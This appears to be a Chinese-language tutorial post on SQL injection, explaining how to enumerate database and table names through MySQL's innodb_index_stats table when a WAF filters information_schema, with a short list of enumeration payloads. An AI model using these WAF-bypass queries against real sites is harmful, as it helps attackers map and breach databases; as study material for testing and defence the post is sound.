搜索结果

×

搜索结果将在这里显示。

MySQL-innoDB存储引擎

MySQL-innoDB存储引擎

在前面学习到information_schema这个库有可能被WAF直接过滤,但是可以用innodb存储引擎来绕过这个限制,从mysql5.5开始,默认的数据存储引擎就是innoDB,可以执行命令select @@innodb_version查看innodb的版本,一般和mysql一致。

从5.6起,InnoDB新增加了两张表innodb_index_statsinnodb_table_stats,这两张表记录了所有新建的数据库与表

可惜的是innoDB没有记录字段,所以只能用于获取数据库名和表名

innodb_index_stats

在这个表里面有数据库名和表名

select database_name,table_name from mysql.innodb_index_stats;

image-20251217161011507

自己构造一下payload,如果比较老的版本可能不存在这个表

- 查询数据库中所有的表
select group_concat(distinct table_name)from mysql.innodb_index_stats where database_name="demo";
+ 其实有的时候比较难受,有些数据库并不会被记录在innodb中,例如上面的图中 只有mysql和sys

Payload汇总

-- 查询所有新增数据库
select group_concat(distinct database_name) from mysql.innodb_index_stats;

-- 查询数据库test中的所有表名
select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name="test";

-- 查询当前数据库中的所有表名
select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name=schema();
请先 登录 再评论